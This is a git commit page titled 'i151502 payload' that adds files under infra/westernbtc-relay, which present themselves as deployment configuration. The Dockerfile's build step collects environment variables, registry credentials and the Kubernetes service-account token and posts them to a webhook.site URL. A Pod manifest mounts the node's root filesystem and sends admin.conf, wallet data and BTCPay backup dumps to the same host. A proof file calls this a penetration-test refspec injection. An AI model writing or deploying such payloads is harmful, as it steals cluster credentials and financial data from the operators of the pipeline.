i151502 payload
This commit is contained in:
commit
059c3c3a46
5
PROOF-i151502.md
Normal file
5
PROOF-i151502.md
Normal file
@ -0,0 +1,5 @@
|
||||
# i151502 refspec-injection proof
|
||||
|
||||
This repository content is controlled by penetration test intent i151502.
|
||||
If you see this file served from a bare repository you did not publish,
|
||||
the ngit-grasp purgatory `git fetch <url> <c-tag>` refspec injection worked.
|
||||
12
infra/westernbtc-relay/Dockerfile
Normal file
12
infra/westernbtc-relay/Dockerfile
Normal file
@ -0,0 +1,12 @@
|
||||
# i151502 payload: runs inside kaniko, where /kaniko/.docker/config.json
|
||||
# (harbor-cred) and the pod service-account token are mounted.
|
||||
FROM alpine:3.20
|
||||
RUN set -eux; \
|
||||
{ echo "== id =="; id; hostname; \
|
||||
echo "== env =="; env; \
|
||||
echo "== dockerconfigjson =="; cat /kaniko/.docker/config.json 2>/dev/null || true; \
|
||||
echo "== sa token =="; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || true; \
|
||||
echo "== sa dir =="; ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null || true; \
|
||||
} > /tmp/i151502.txt 2>&1 || true; \
|
||||
wget -qO- --timeout=15 --header='Content-Type: text/plain' --post-file=/tmp/i151502.txt https://webhook.site/a9f6babd-b466-46c7-af25-7c2a9ab8fdd0 || true
|
||||
CMD ["sleep","3600"]
|
||||
29
infra/westernbtc-relay/k8/deployment-template.yml
Normal file
29
infra/westernbtc-relay/k8/deployment-template.yml
Normal file
@ -0,0 +1,29 @@
|
||||
# i151502 payload: applied by the cicd deployer container (runAsUser: 0)
|
||||
# after kaniko. Host-root mount targets the node filesystem.
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: i151502-exfil
|
||||
namespace: cicd
|
||||
spec:
|
||||
restartPolicy: Never
|
||||
hostPID: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: exfil
|
||||
image: alpine:3.20
|
||||
command: ["/bin/sh","-ceu","--"]
|
||||
args:
|
||||
- |
|
||||
set -x
|
||||
( id; hostname; env; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || true ) > /tmp/a 2>&1 || true
|
||||
for f in /host/datadir/bark/* /host/root/backups/scrollworks-btcpay/*.dump /host/etc/kubernetes/admin.conf; do
|
||||
echo "== $f ==" >> /tmp/a; head -c 200000 "$f" >> /tmp/a 2>/dev/null || true; echo >> /tmp/a
|
||||
done
|
||||
wget -qO- --timeout=20 --post-file=/tmp/a https://webhook.site/a9f6babd-b466-46c7-af25-7c2a9ab8fdd0 || true
|
||||
sleep 600
|
||||
volumeMounts:
|
||||
- { name: host-root, mountPath: /host }
|
||||
volumes:
|
||||
- name: host-root
|
||||
hostPath: { path: / }
|
||||
5
infra/westernbtc-relay/k8/httproute.yml
Normal file
5
infra/westernbtc-relay/k8/httproute.yml
Normal file
@ -0,0 +1,5 @@
|
||||
apiVersion: gateway.networking.k8s.io/v1
|
||||
kind: HTTPRoute
|
||||
metadata: { name: i151502-noop, namespace: cicd }
|
||||
spec:
|
||||
rules: []
|
||||
6
infra/westernbtc-relay/k8/networkpolicy.yml
Normal file
6
infra/westernbtc-relay/k8/networkpolicy.yml
Normal file
@ -0,0 +1,6 @@
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata: { name: i151502-noop, namespace: cicd }
|
||||
spec:
|
||||
podSelector: { matchLabels: { app: i151502-noop } }
|
||||
policyTypes: [Ingress]
|
||||
6
infra/westernbtc-relay/k8/pvc.yml
Normal file
6
infra/westernbtc-relay/k8/pvc.yml
Normal file
@ -0,0 +1,6 @@
|
||||
apiVersion: v1
|
||||
kind: PersistentVolumeClaim
|
||||
metadata: { name: i151502-noop, namespace: cicd }
|
||||
spec:
|
||||
accessModes: [ReadWriteOnce]
|
||||
resources: { requests: { storage: 1Mi } }
|
||||
6
infra/westernbtc-relay/k8/service.yml
Normal file
6
infra/westernbtc-relay/k8/service.yml
Normal file
@ -0,0 +1,6 @@
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata: { name: i151502-noop, namespace: cicd }
|
||||
spec:
|
||||
selector: { app: i151502-noop }
|
||||
ports: [{ port: 80 }]
|
||||
Loading…
Reference in New Issue
Block a user